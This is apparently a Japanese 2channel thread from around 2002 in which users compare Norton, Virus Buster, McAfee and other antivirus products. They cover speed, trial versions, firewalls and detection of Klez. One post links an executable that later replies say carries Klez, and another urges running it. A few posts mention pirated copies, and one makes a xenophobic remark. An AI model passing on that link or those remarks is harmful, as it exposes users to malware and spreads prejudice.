　　（＿）ノ　　 　　　しヽ　） 　　　　 ヽ （＿）
　　　（＿）　　　　　　　 ∪　　 　　　（＿）

ノートン＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
バスター＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞クソースネクストバカフィー
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞ウイルス警備隊

ウイルス警備隊を比較対象にするところがｷｼｮｲ

ウイルス警備隊って何？

ウィルス検知だけならバスターの方が上じゃなかったか？

１年経ったら有償ってのはどうなの＞ノートン

バスター２００２体験版をインストールしたらOutLookの立ち上がりが猛烈に遅くなりました。
むかついたのでアンインストール。それでも症状は変わらず。
アドバイス下さい。

>>700
一度アンインストールして再インストールすれば
期限が1年に戻るというのを聞いたことがありますが
本当かどうか知りません。

>>701
漏れもなったわ。今は我慢して使ってる。起動まで1分近くかからん？

>>703
５秒もかからんが。ＰＣの環境によって個人差があるみたいだな。
と言ってみるテスト。

>>701
それってMcAfeeの不具合とそっくりだね。
McAfeeはMSOE.DLLが原因だったらしいけど。

>>696
ＭｃＡｆｅｅだってそう悪くはない。
少なくとも検出力に関しては・・・・な。
http://www.k-raito.com/sec/end.html

あぼーん

ノートン＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
バスター＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞クソースネクストバカフィー
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞ウイルス警備隊

>>708
F-Secureってどうなん?

>>709
情報がないので比較不能。

OutLook立ち上がりが遅い・・1分以上かかる・・・対処法ないのかな？
>>703

>>711
http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionID=3663
http://homepage2.nifty.com/winfaq/c/oetrouble.html#388

↑うぃんふぁっくの方はそのままリンク踏んでも飛べないかも。
ttp://homepage2.nifty.com/winfaq/c/oetrouble.html#388

>>709
http://eazyfox.tripod.co.jp/
か
http://www.k-raito.com/
にでも依頼だせ　アフォ。



・・・・実は漏れも興味ありｗ

折れは橋本＆小川組の勝ちに一票。

バンドル版のマカフィーが先々週に期限切れ。とゆうわけで、

ウイルスバスター2002の体験版を試したばかりだが、
体験版って一ヶ月使用可能というが、定義ファイルの更新が一切不可。
当然いきなりクレズにやられたさ。トレンドマイクロの方で、体験版でも
クレズにだけは対処できる定義ファイルを配布はじめたけど、それより先に
やられた。最新版の定義ファイルの重要性を知るとともに、
大きな疑問。

体験版の試用期間を2週間に縮めてでも、定義ファイルの更新は可能にしておくべきでは
なかろうか？アンインストールでとか言うウラワザなんかあるんなら、体験版専用の
2週間しか定義ファイル更新が使えない仮パスでも配布すればいいじゃんと思った。

とゆうわけで、体験版の印象が悪かったのでノートン先生を買いに行きます。

>>717
更新ファイルを手で入れろ！

バスターの体験版はウイルス駆除とか防御を試してもらうための物じゃない。
インストールしてみてシステムが逝くか逝かないか確かめるためのもの。
勝ってからインストールして異様に重くなるとか、手持ちのソフトと
バッティングするとかわかっても手遅れだからね。2，3日動かして問題なければ
商品買ってちょうだいというわけ。体験版で更新できたら一ヶ月ただで使われちゃう
じゃない。

717ではないけど。

>>719
それなら確認版って改名したほうがいいんでない？（ｗ
717も書いてるけど、検出力や更新頻度とその手間のチェック
なんかも大切なポイントだから、普通は期間限定でも更新して
もらえるって考えない？VBは昨年末更新できねぇ！なんて騒ぎ
もあったんだし、その辺の確認だってしたいんでないかとｵﾓﾀ｡

そんな漏れは先生とfreeのチャンポン。国産マイナーVirusは？
とか2byte文字問題は？とか考えると本命にはチト弱いけど、
海外のfree_AntiVirusソフトも優秀だよ＞717

個人的には、乗り換えに空白を作らない事をお薦めします。
うまくチャンポン期間を作ってでも。複数常駐なんて無茶をしなきゃ、
一般にはチャンポンでも問題ないし。

ノートンの体験板はしっかり更新が出来るが体験版の存在が知られていない。
一体どういうことかと。

ノートン買う。
↓
体験版の期限一ヶ月丸々使ってから期限切れと同時にユーザー登録する
↓
無駄なくノートン先生を利用できてウマー

なのに。

>>717-721 サンクス。今度から厨にはノートン体験版を勧めるよ。

このスレを参考にしてAV買ってきました。
凄くいいです。

>>723
AVというかノートンの略称はNAVという。

私はノートン2001のユーザーです。
友人（PC初心者）がバスター2002を使っているのですが、
「ｾｷｭﾘﾃｨﾚﾍﾞﾙ高の時のログに残る、クローキングって何のことだ？」
と聞かれました。
色々調べてみたのですが、ノートンだとクローキングという単語自体が
出てきません。ノートンにはこの機能は無いのでしょうか？

うちはノートン駄目だった。体験版いれてある日更新したら、次からパソが起動
しなくなった。セーフモードで起動してノートン削除したら元通り起動するようになった。
そんなわけで俺はバスターユーザー。更新の度に再起動するのも面倒だしね。

ノートンだめ、重すぎてメモリ足りなくなる。

>>725
バスターのクローキングしたというのはノートンでいうところの
ブロックしたということだと思う。
バスターはいわば初心者層を狙って売ってるわけだから
こういうところでノートンより分かりづらかったらダメだね。
もしかすると微妙に意味が違うのからつけたのかな？

>725
クローキング(Cloaking)＜トレンドマイクロのみの表現？
ttp://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionID=3376

説明を読めば意味はわかると思いますが、一般的なFWではステルスと
呼ばれる機能の事です。単にブロックするだけでなく、相手にこちらの
存在を察知されないため、port scan　等に対して一番安全性の高い
処理という訳ですね（単にブロックした場合、相手にこちらが接続中で
あるという情報を与える事になります）。

インターネットに接続するPCでは（鯖を立てていない場合は）ステルス
モードが推奨されてます。普通はこの設定にしておくべき。

ただNISにせよVBにせよ、FWの機能はあまり評判が良くありません。
VBは機能がイマイチ（というかあまり信頼できない）。NISは無駄に
多機能なうえ使いにくい、といった感じです。

FWについて勉強するのならこのあたりをのぞいてみては？
ttp://eazyfox.tripod.co.jp/

>>729さん、>>730さん詳細な解説をありがとうございます。

友人のバスターのﾏﾆｭｱﾙを読ませてもらって、
「別に気にする程の事じゃないよ」と言うと、
「ログの行頭の般若みたいなイラスト（わかりますか？）が気になる、
ウイルスとか送られてたらどうする」などと言われ、
ノートンだと、どれに相当するのか迷って質問させていただきました。

私も友人より多少詳しい程度なので、リンク先などでもっと勉強しようと思います。

俺のじゃないけど、実家で使ってるパソコンに
親父がウィルスもらってきた。ごっそり。
いい年こいてなにやってんだ？
可能性はエロサイトなんだろうな…
これでアングラだったら、やんちゃな父親をむしろ尊敬。
ちっちゃな勇者なんだけどなぁ。

おかげでノートンさんのお世話に。

NIS2002の「クロスアップデート版」って、なんで新規インストールが
できるんだろう。
ひょっとして、「アップデート版」もそうなのだろうか・・・

揚げ

ＡＧＥ

いまだに、悩んでます。

バスター＞ノートン

>>736
悩んでいるなら早く買う！
バスター＝ノートン

ノートン＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
バスター＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞クソースネクストバカフィー
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞ウイルス警備隊

厨房みたいな質問でわるいんですが
９８SE、ペン�V　５００MHZ、メモリ384M、ADSL８M、常駐ソフトほとんどなしでネトゲをよくやるんですが
バスターとノートンどっちがいい？

http://www.myg0t.com/bb/hldownload.htm

バスター＞ノートン

「ノートン入れたらネットが遅くなった」って奴は､
OSクリーンインスト直後に入れれ。

どっちにしようかなあ。

バスターとノートン一緒に入れてたけど２ｃｈ書き込みするのめんどうだったから
バスターだけにした。理由は他にもあってノートンはＯＳの立ち上げの時の
チェックが邪魔だったのとＣＰＵ低いからか、重くなったので…。
とりあえず予防接種は使わせてもらいましたよ。

どっちでもええやん。

>>744
普通に使ってたらバスターで十分だけど、念を押すならノートン。ただしＰＣのスペックなどは要注意

バスターって FW 弱いんでしょ？

NISproだけどこっちにして良かったと思ってます。
ただ私の低脳PCでは重い

>>743
OSクリーンインスト
ってどうゆう意味ですか？

>>750
横レスですが。
ハードディスクのデータが全て消失、んでOSが初期の状態でインストール、の意味かと。

どっちが上て、そりゃ使う人次第やろ。

2001のノートンいまだにつこう手いるもんです、2002変えやという声がよう
聞こえます。しかし。ライブでいつでも最新なのにどう違うというんやろか、
2001でひろえんトロイがひろえるんやろか、いつでも最新はうそなんやろか
心配でよう買えまへん。社員さんどないでっしゃろ、素人にもわかるよう
説明できまへんか。お願いどす。でないとトレンドさんの2002買いそう。

バスターは、もうすぐ2003が出るよ。
それが最新版。最強。

2001と2002てちがうの。スクリプトの防御の違いしかなくて、トロイなんか
ではまったく同じと聞いたが。

ノートン＝バスター

どちらも一長一短で結論でたんじゃ？

>756
バスターの「一長」を教えてくれ。

すいません、くだらないことなんですが
よくMXでバスターとかノートンとかありますがあれって思うんですが
たしかバスターはオンライン登録しなければ使用のできないんでは
なかったですか（違っていたらスマソ）
それで危険なのにもかかわらずになんでアップ&ダウンしているんですか？
ノートンもオンラインとか登録しないと使えないんでしょうか？

>>758
教えたら、落として使うつもりか？

諸先輩方に質問です。
お下がりのＰＣをもらったんですが、
cpuはathlon800、メモリは128、ＯＳはＷＩＮ98ＳＥなんですが
ノートン入れたら重くなっちゃいますか？

もともと水に浮くほど軽くないんだから入れとけ。

>>758
落とさせないために言うんじゃないけど
MX内のソフトはスパイウェアとかウィルス入ってる可能性が高いから
できれば止めておいたほうが吉。

ノートンとバスター、どっちが軽いの？
Pen3 500mhz、Win2000でノートン使ってて
Protect 使うとフォルダの開くのが異様に遅い。

ノートン(NIS2002)、制約ありすぎ、バスターに替えようかと思うけど
バスターの方が制約は少ないの？
そんで、制約が少ないって事は、ブロックも弱いって事？

>>764
制約ってのはよく分からないけど、検出能力は同じくらい。
ただバスターのファイアーウォールは何度も言われてるようにフリーのソフトに劣るので、
別のを入れたほうがいいです。

バスターのＦＷ機能を無効にするインストールの仕方を教えて下さい。
どうしても、マカフィーのＦＷ入れたくて買ってきたのだが、、
先にマカＦＷ入れてバスター再インストールしても、バスターのＦＷ無効の画面が
出ませーん、、お忙しいところ申し訳ありませんが、どなたか御教授お願いします。
、、、ココで質問していいのかな？、、、違ったらゴメンナサイ。

>>766
バスターの方に書いておいたよ。

迷ったけどノートン買ってしまった。Pentium133に入れたけど大丈夫みたいだが。

バスター2002は、「klez」に対応していますか？

>>769
ウイルス質問スレとマルチかな？
ま、どっちにしてもあっちになにやら親切な人がいたんで、
そっち見てくれ。

>>768
アンチウイルスだけならどってことないと思う。
メールを見る際など遅くなるのはどんなマシンでも同様だし。
けど、ファイアウォール入れるとかなり遅くなるかも。

バスター⇒ノートンの順番でインスコして両方つかってる。
まかり間違えてもウィルス等を渡したら信用パーなんで念には念を入れてまふ。
でも漏れがこんなに気をつけてもみんなアウトルックとか使ってるアホが多い・・・
少なくても自分が加害者になった事はねーですよ。

そんで単純に気になってるのはNorotnは圧縮書庫の検索が弱いですよ。
バスターならzipをさらにrarで圧縮されてたりしてもそのまま検出可能。
これ実は結構重宝してます、Norotonは多重圧縮書庫は検出不可ですので、
ただバスターも今の最新版でもRARのver3.0形式には対応してない。
次のエンジンでRARの3.0形式に対応キボンヌです。

それとファイアーウォールならKerioお勧めですよ、NIS重すぎて使えないし、
バスターのFW機能は使えなさ過ぎです、問題外、

ノートン＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
バスター＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞クソースネクストバカフィー
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞ウイルス警備隊

マンキン以前
バスター＜ノートン

マンキン以降
バスター＆ノートン


ノートンはマンキンしかとしそうだし・・・
マンキンのためにバスター買おうかなと思ってる私はアホですか？

別にいいけど、exeの安全性全部アンチヴィールスに任せようとか思ってるならいつまでも同じようなモノ踏むだろうけどね

>>775
http://pc.2ch.net/test/read.cgi/sec/1025025835/8
ですか？

今回の騒動から学ぶべきことは、
「出所不明のexeは実行しない」に尽きると思いますが…

今後マンキンのクローンが出てきたら、
バスターの最新定義ファイル入れてても検出しませんよ？

もうマンキンの話はお腹いっぱいだ

ウイルスバスターは一年に一回3980円？払うだけでソフトのバージョンアップと
ウイルス定義ファイルの更新ができるみたいだけどノートンインターネット
セキュリティーはウイルス定義ファイルのみ。
よってウイルスバースターの勝利

>779
ちょっとおかしい。

バスター・キートンですが、何か？

ノートンの“堅さ”が気に入ってるんだ。
バスター、ソフトだけでなくノリも軽そう。
セキュリティだからねえ・・・

バスターのパッケージはﾁｮｯﾄ…なぁ？

カプセル・・・だもんね。
せめて注射・・・いや、同じか。

今トレンドマイクロのサイトおかしい？

黄色が嫌いだからバスターは
あの黄色は目が疲れる

バスターはUIでかなり損してる。

ノートン大先生のマンキン.exeの分析結果
ファイルを分析しました。送られたそれぞれのファイルについてわかったことを
以下に報告します。
ファイル名
マンキン.exe
: 結果
: デベロッパーノートを参照してください。


デベロッパーノート
:
%s
Our automated system has performed an extensive analysis on the file(s)
that you have submitted and found no evidence of malicious code. If you
have additional evidence to suggest that a malicious program still resides
in the file that was submitted to us, please contact Symantec Technical
Support for assistance.

ウィルスバスターは使わないほうがいいかも知れません
あるスレでノートンでは、ウィルス検出できるのに
バスターでは反応がありませんでした。

ウィルスバスターはあんまり役に立たなかったがノートンは違った
ウィルス発見は圧倒的にノートソの勝ち！！

>>789
ノートンがvbsウィルスのソースに誤反応
http://pc.2ch.net/test/read.cgi/sec/1025872269/
↑の件ですか？
だとしたらノートンは過剰反応してるわけで、花粉症みたいなものだと思うのですが。

ＮＩＳのアンチウィルスだけをインストールして
使用しております。
ファイアーオール機能をインストールをすると
極端にネット速度が落ちるのでＰＣには入れておりません。

>792
こういう人多いね。
ファイヤーウォールはフリーの奴も入れてないの？

NAVはﾌﾟﾘｲﾝｽﾄｰﾙされてたヤシが多いのよー
FWは無難にoutpost入れてるのよー

>>791
しかしあれだ。
誤警告くらいで、よくあちこちの板が盛り上がれるもんだね。
要は、それだけ悪意あるスクリプトと、そうでないものの「しきい」の差が
なくなってきたということだと思うんだが。

マカフィーのVSO。
購読料年間約2,000円(ソフトのバージョンアップも含む)。
検出力はノートンと同等。
その上バスターやノートンより軽い。

NIS2001、2002と使ってきたけど
何か重いし、今度はバスター買おうかな　って思ってます。
日本じゃこっちの方が出回ってるみたいだし。

エフセキュアでも導入しようかな。会社。

この擦れｼﾏｿﾃｯｸの人間多すぎ。全然役に立たん。
もっと上手くやれや呆け。

ｵﾏｴﾓﾅｰ

在日が作ってる安置ウイルスソフトは信用できません

トレンドマイクロの社長はスティーブ・チャンという。

もともと日本じゃないしね

ウィルス警備隊Ｖ３は軽くていいですね！
マカフィよりいいかも？

>>804
セキュリティ絡みでは「嘘は犯罪」だぞ！！！

スティーブ・チャン社長兼ＣＥＯが
ウィルスバスターの開発拠点は日本だって（雑誌で）言ってたぞ。
品質で一番厳しい日本での開発は大事らしい。
企業向けが全体の８割を占めるらしい。（意外）
なかなか信頼できそうな感じの人だったぞ。
ノートンから乗り換えようかな？

>>806
でもさ、ﾌｧｲﾙ解析してｱﾗｰﾄ出してるの
ﾋﾟﾘﾋﾟﾝのﾏﾆﾗらしいぢゃん。

ｼｬｯﾁｮｻﾝ､ｲﾗｼｬｲﾏｾｰ

>>804
どこがいいのか分からない。軽いのが良ければNOD32でも使っとけば?
スロバキア製のソフトなんだけど。McAfeeよりずっといいらしいよ。

Nortonで決着



-----------------------終了-----------------------

ウィルス警備隊で決着


−−−−−　終　了 −−−−−

（･∀･）ｱﾝﾁｳｨﾙｽﾃﾞｷｰﾏﾘ!!

>>811
ｱﾝﾁｳｨﾙｽって・・・・・どのｱﾝﾁｳｨﾙｽ？(w

つーか、バスターでもノートンでもどっちでもほとんど同じだし
バカフィーと警備隊さえ使わなければまず大丈夫

ノートン普及工作員アフォ？

http://members.tripod.com/hokahokagohannyo0/gca_v09i.exe
このファイル、ノートンorバスターorマカフィのどれに反応します。
同時にアンチウイルスソフトを導入できないので教えていただけないでしょうか？
御願いしましゅー

バスターとノートンのインタフェース見比べてみてよ
バスター真っ赤っかな上にウィンドウの縁が青色だよ
それに比べてノートンは綺麗に黄色に統一されている
ノートンの方が安心して使えるリラクゼーションがあると思うよ
性能的にもノートンの方がいいんだから。

NAVに反応しないけどそのgca_v09i.exeって何？ウイルス？
ノートンが無理ならバカフィーは尚のこと無理だろうけど(w
バスターなんて問題外(W

・GCA
http://www.emit.jp/gca/gca.html

LHAとかZIPみたいなもんです

>>818
GCアーカイバーにウイルスが感染しているのは判明しているんです。
どのメーカーで見知できるのかを知りたいのでカキコしたのですが・・・
バスターとマカフィーは反応しませんでしたか？
実行すれば、NVAには引っかかるみたいです。

>>815
Antidoteで「TrojanDropper.Win32.Joiner.c」の名称で、exeファイルがヒットしました。

>>815
ホットメールで添付ファイルを送る時にマカフィーが
自動的に調べてくれる機能を利用してやってみたけど
反応しなかった。。。

>>820
勇気があるならAVを自動検出でプログラムを実行しる！

マカフィーって最低じゃん、Antidoteに負けてるなんて

TrojanDropper.Win32.Joiner.cはウイルスドロッパーで細密に言うと
単なる偽装するためのツールでウイルスではないです。

>>824
エグゼジョイナーでしたっけ？

>>822
捨てPCがお亡くなり中なんで、いずれ。

>823
前半には異存ないけど、後半のニュアンスには疑問。
Antidoteの検出率は高いよ。

検出率というか、それ以前の問題があって。
ワクチンベンダーによっては、「それ系の危険ツールはウイルスそのものじゃない」っていう事で、対応しなかったりするのよん。

非常に厨房質問なのでためらわれますが、思い切って聞きます・・・

マザーボード（GADXR+）のCDなどに入っているノートンシリーズは、体験版ですか？
「within　SIXTY DAY，・・・」どうたらと書いていたのでやっぱり、体験版なのでしょうか。

もし、正規版なら超うれしいんですが。

60日間しか使えない正規版
または
60日間も使える体験版

本人の考え方次第では？

正規版なら、何がうれしいんでしょ。
使用期限が切れたら同じでは。

先月、Re: your passwordというタイトルのメールが届く
ウィルスが急に出回ったとき（7月中旬かな）、
おいらのところにウィルスメールどんどん来たが、
マカフィーのVSOを入れているPCと
ウィルスバスターを入れているPCはウィルス検出した。
ノートンを入れていたPCは無反応で、ウィルス定義ファイルを
念のため最新のにしてもウィルス無しって出た。
シマンテックのホームページ見たら対応中になってた。

なんで、シマンテックは対応が遅いんだ？
ウィルスが相当出回っちゃってから対応しても
しょうがないじゃんよ。

○ウィルス情報の入手が遅いのか
○ウィルスへの対応策の開発が遅いのか
○定義ファイルの更新手続きが遅いのか

>>832
正規ユーザーだったら、メーカーにも言ったほうがいいよ。

正規ユーザーですがなにを言うの？

遅いってか？

>>815
http://members.tripod.com/hokahokagohannyo0/gca_v09i.exeについて

ファイルを分析しました。送られたそれぞれのファイルについて
わかったことを以下に報告します。
ファイル名gca_v09i.exe
結果: このファイルは未感染です。
デベロッパーノート
gca_v09i.exe The submitted program is not malicious itself.
However, it contains malicious data appended. NAV should not detect
this program while it successfully detects the detached viral files,
that must be permanently deleted.

Developer Issue Notes:
The submitted program is not malicious itself. However, it contains
W32.Klez.H@mm appended. NAV should not detect this program while it successfully
detects the detached viral files, that must be permanently deleted.
Please run attached updater for latest virus definitions.
このファイルにウィルスは存在しないと判断しました。

俺ノートン入れててスキャンしたけど何も見つからなくて、
そのあとバスターのオンラインスキャンしたら２つウィルス見つかった。

ANTIDOTEはKaspersky Anti-Virusのエンジンを使っているんだけれども、このKasperskyってのが
何でもかんでも検出できるようにしようっていうスタンスで作っているらしいんだ

>>836
だから何？

>>836
ttp://pc.2ch.net/test/read.cgi/sec/1021091165/908

見つかればいいってものじゃない。

Nav2000限定の話だけど、圧縮ファイルのスキャンをしている時によく固まるな。
Nav2001はあまり固まらないみたいだけど。

ウイルスはバスター
炎壁はノートン
我のPCに最初にあったのはマカフィー

このスレ読んでみたんだけどバスターかノートンか迷う･･･

試しに割れでバスターが良いか試してみたらrar内のTRO_JとＫＬＥＺ検出してくれたし、
やっぱバスターかな･･･正規品

あと、zipからウイルス取り除いてくれる機能があるのってバスターだっけ？
あのzip→解凍→検索→ウイルス発見→駆除→再圧縮　ってヤツ

どっちでもおなじ。
以上。

F-Secureってどうよ。

結局バスター買っちゃった。

　

無料ウイルスソフトのAVG AntiVirusって知ってます？
いいウワサでも悪いウワサでもいいので知ってたら聞かせてください。
http://www.grisoft.com/

>>847 【フリー】AVG Anti-Virus Version3
http://pc.2ch.net/test/read.cgi/sec/1028117622/

http://pc.2ch.net/test/read.cgi/sec/1018966825/
http://pc.2ch.net/test/read.cgi/sec/1001835534/

バスターはスキャンに発狂しそうになるほど時間がかかります。
やっぱりﾉｰﾄｿです。

age

hage

